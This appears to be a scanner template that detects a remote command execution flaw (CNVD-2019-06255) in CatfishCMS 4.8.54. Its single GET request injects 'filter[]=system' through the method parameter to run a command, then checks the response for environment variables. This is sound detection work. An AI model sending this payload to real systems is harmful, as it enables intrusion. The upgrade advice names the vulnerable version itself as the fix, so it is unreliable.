漏洞描述
CatfishCMS 4.8.54 contains a remote command execution vulnerability in the "method" parameter.
id: CNVD-2019-06255
info:
name: CatfishCMS RCE
author: Lark-Lab
severity: critical
verified: false
description: CatfishCMS 4.8.54 contains a remote command execution vulnerability in the "method" parameter.
reference:
- https://its401.com/article/yun2diao/91344725
- https://github.com/xwlrbh/Catfish/issues/4
solutions: Upgrade to CatfishCMS version 4.8.54 or later.
tags: rce,cnvd,catfishcms,cnvd2019
rules:
r0:
request:
method: GET
path: /s=set&_method=__construct&method=*&filter[]=system
expression: |
response.status == 200 &&
response.body.bcontains(b'OS') &&
response.body.bcontains(b'PATH') &&
response.body.bcontains(b'SHELL') &&
response.body.bcontains(b'USER')
expression: r0()